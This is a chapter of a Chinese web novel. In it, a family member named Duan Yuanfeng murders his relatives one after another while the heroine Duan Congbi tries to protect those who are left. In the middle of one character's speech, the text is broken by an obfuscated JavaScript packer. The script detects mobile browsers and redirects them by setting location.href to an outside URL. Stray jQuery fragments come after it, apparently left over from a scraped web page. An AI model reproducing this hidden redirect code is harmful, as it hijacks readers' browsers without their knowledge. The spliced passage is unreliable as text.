117. 双杀

作品:《超能打嫡长女整顿豪门日常

    “唔唔唔!”丁漪白疯狂挣扎起来,她朝段丛璧的方向使劲儿挣扎:“唔唔唔——”


    段丛璧看着她的眼睛:“妈。”


    【雅君,去看你哥!去看看他!去送送他……】


    段丛璧转头看着段原风:“我妈身上没有段家的血。”


    段原风嗯了一声:“所以不会杀她,你去送阿鸣一程吧,放心,我不会拿你妈怎么样的。”


    段丛璧往上看了一眼:“你?你们?”


    “我们。”段原风说。


    段丛璧深深看了一眼丁漪白,转身朝外走去。


    她走后,段原风上了二楼。


    “你就这么留着她?”段薇语一脸不满地看着段原风:“她可不是普通人,我们对付不了她,还是早点解决了吧。”


    段原风走近,他瞥了一眼丁漪白,突然伸出手掐住段薇语的脖颈,然后动作粗暴地拉近:“我再警告你一遍,不许打段丛璧的主意,否则,你会变成段家人中的一个,他们的死法你可以选一个,我成全你。”


    他的手缓缓收紧,段薇语呼吸急促了起来,一张脸涨得通红。


    “我的话,你听见了吗?”段原风欣赏着她的狼狈模样。


    段薇语忙不迭小幅度地点头,话语断断续续的:“听……听见了……”


    段原风这才把她放开了。


    他拉来一张椅子坐下,跷着腿看着丁漪白,慢条斯理道:“嫂嫂,先委屈你了。”


    丁漪白看都没看他,垂着眼睛看地上,不知道在想什么。


    段薇语揉了揉脖子,清了清喉咙,她忌惮地看着眼前的男人:“那……段丛璧那里,你是怎么打算的?你起码得告诉我你的计划,不然到时候我什么都不知道,不小心破坏了你的计划,那就不好了。”


    段原风抬眼看着她,嘴角噙着一抹笑:“我之前不是跟你说过?段丛璧要留在最后。”


    “杀是要杀的。”他语调不紧不慢:“不过是早和晚的区别。”


    段薇语看了一眼丁漪白:“那你的计划是什么?需要我做什么?”


    “到时候我会通知你。”段原风语气开始变淡:“在这之前,你什么都不要做。”


    “那她怎么办?”段薇语示意他看丁漪白。


    段原风:“谁让你绑架她的?你怎么把她弄过来的,就怎么把她送回去。”


    段薇语咬着嘴唇,不情不愿地嗯了一声。


    她不想放了丁漪白,她还想借丁漪白来威胁段丛璧,这么好的人质,她舍不得放。


    但是她不敢忤逆段原风。


    因为他姓段。


    段丛璧见到了段思鸣最后一眼。


    段思鸣正在上班,被不知道从哪里窜出来的患者捅了好几刀。


    后面警察来了一查才知道,这个患者有精神疾病。


    段思鸣就这样倒在血泊中,眼睛睁得大大的。


    毫无疑问,这又是段原风的手笔。


    现在段家只有段老爷子、丁漪白、段恂、段丛璧和段薇语,周家只剩周姑父和周渡了。


    这么大一家子人,到现在就剩这么点了。


    段丛璧开车去了酹月,她回家洗了洗,随便吃了点东西垫垫肚子,盘算着接下来该怎么办。


    段薇语色厉内荏,她只是想凭借挟持丁漪白占得上风。


    丁漪白那里暂时没有危险,现在危险的是段恂和周渡。


    但是他们压根儿不知道段原风什么时候会下手,他的行事逻辑谁也摸不准。


    段丛璧想了想,给段恂和周渡都打了电话,让他们最近注意一点。


    段恂:“我自己心里清楚,你管好你自己就行,实在不行就回家住,你又不爱听我说这些,我说了你也不会听,行了,保护好你自己。”


    周渡:“我不在S市,他想要对我下手恐怕也没这么容易,你和舅舅舅母还有外公,你们要保护好自己。”


    段丛璧在猜测段原风下一个要动手的人是谁。


    段恂最有可能,因为他在本市而且生活动静线比较固定,但是他现在是缓刑期,身边有人盯着,段原风想要下手,也不太容易。


    周渡么……除了不在本市,好像也没有其他阻力,段原风国内国外随意切换,想要跨省跨市好像也不是很难。


    段丛璧抬手扶额,心里很沉重。


    她并没有把自己带入段家人这个身份里,在她看来,她只是一个外来者,只是碰巧占了段敏敏的身体而已。


    在段家,她只对丁漪白有感情,因为丁漪白是真心实意对她好,其他人……也有真心,只是真心掺杂假意,半真半假。


    就连段凭对她,也是利益为主。他三番两次试探她,不过就是想看她是否延续了段老婆子那恶劣的基因血脉,如果没有,那她就是段家当之无愧的继承人,段凭看重他,是为了段氏的将来。


    站在旁观者、外来者的角度,段原风是段家的血脉,他清理自家门户,有何不可?


    可是那些好歹是人命啊,活生生的几条人命!


    但是段丛璧转念又一想,段氏血脉恶劣,这些年欺压虐待过的人应该数不胜数,段原风这也算是为民除害?


    脑子想得发疼,段丛璧揉了揉太阳穴,神情烦躁。


    过了一会儿,段丛璧解锁手机,打开通讯录,犹豫了好一会儿,她才拨通电话。


    “喂,爷爷。”她声音低低的:“您能出面和段原风谈一谈吗?现在局面已经不可控了。”


    那边静默着,一分钟过去,电话被挂断。


    紧接着,游芙安的电话进来了:“阿璧,我刚刚和段原风见了一面。”


    电话里说不清,游芙安来了酹月。


    “他找你说了什么?”段丛璧问她。


    游芙安抱着抱枕,侧坐在沙发上:“他问我最近过得怎么样,问我有没有想他。”


    “阿璧。”她捏着抱枕的角,瘪瘪嘴:“我现在才知道,当初我和邓催回国,是段原风故意放我们离开的。”


    这一点,段丛璧之前就猜到了。


    因为凭借段原风的本事,他不可能拦不住游芙安。


    “你现在怎么想?”段丛璧打量着她的神色:“你还爱着他吗?”


    游芙安:“爱不爱的,不重要了。”


    她坦然道:“或许会有一点说不清道不明的爱,但不是对他,是对曾经的那个段原风。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17367616|188477||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    很多个深夜,游芙安都在思念曾经那个段原风,那个正常的、健康的段原风。


    思念没有发病的他,思念像正常人的他,思念爱着自己的他。


    但是游芙安知道,他们已经不可能了,现在发生了这么多事,段原风手上有那么多条人命,他还家暴过自己。


    她不是恋爱脑,她会放手,会释怀。


    “如果他要死了。”她告诉段丛璧:“你通知我一声,我赶过去见他最后一面,好歹,曾经有过一段。”


    她还有心情调侃:“说起来,我还没有和他分手,我现在还是你的小婶婶,来,叫声婶婶听听。”


    -


    游芙安走后,段丛璧总觉得坐立不安,她又给段恂和周渡打了个电话。


    段恂:“我正在吃晚饭,你要不过来一起吃?”


    周渡:“我有个案子,现在在忙,稍后聊。”


    听到他们的声音,段丛璧的心稍微安定了一些。


    她不知道的是,在她和这两人结束通话后,一场蓄意已久的谋杀拉开序幕。


    等佣人来茶室添茶倒水时,发现段恂倒在茶桌上,滚烫的茶水把他的脸烫得不堪入目,他被人割破了气管,死不瞑目。


    佣人尖叫一声:“救命啊!救命啊!”


    另一边。


    周渡还没吃晚饭,在律所加班,他正在准备开庭需要的资料。


    “周律师。”前台敲门进来:“您案子的当事人过来了,说是有几点细节要补充一下。”


    周渡摘下眼镜擦了擦:“怎么事先没打电话?请他去会议室,我马上过来。”


    他看了看办公室里,又改口了:“算了,直接让他进来吧。”


    等资料准备好,细节补充齐全,他就可以下班了。


    半个小时后。


    谈话一直没有结束,前台想下班了,于是偷偷来办公室查看情况。


    结果看见了倒在地上的周渡,他胸口插着一把匕首,鲜血染红了胸膛。


    周渡被自己案子的当事人杀害,那当事人被抓的时候还在骂周渡:“他高价收费,收了费之后就不管了!我的案子他根本没管!他就该死!该死!”


    段恂的死还在查,凶手没在现场留下一丁点线索,无从查起。


    段丛璧想告诉警察,可以锁定段原风,但是她要怎么说?说段家所有人都是神经病,说段原风这是在清理门户?


    她没有想到,段家现在已经没几个人了,仅剩段凭、丁漪白、段薇语和她自己。


    段老婆子真正的血脉,只有自己。


    她被段原风留在了最后,最后等待她的是什么?最后等待他的,又是什么?


    客厅原本温润的光变得惨白,段丛璧独自一人坐在沙发里出神。


    段薇语把丁漪白放了,集团出了急事,丁漪白紧急去集团处理工作。


    偌大的一个段家,就剩段丛璧了。


    外面突然传来“笃笃”的声音,段丛璧嗖一下站了起来,有人进了客厅。


    玄关处,段凭杵着拐杖出现,他迎着段丛璧的视线,目光平和:“我同意你的建议,我计划和段原风进行一次面谈。”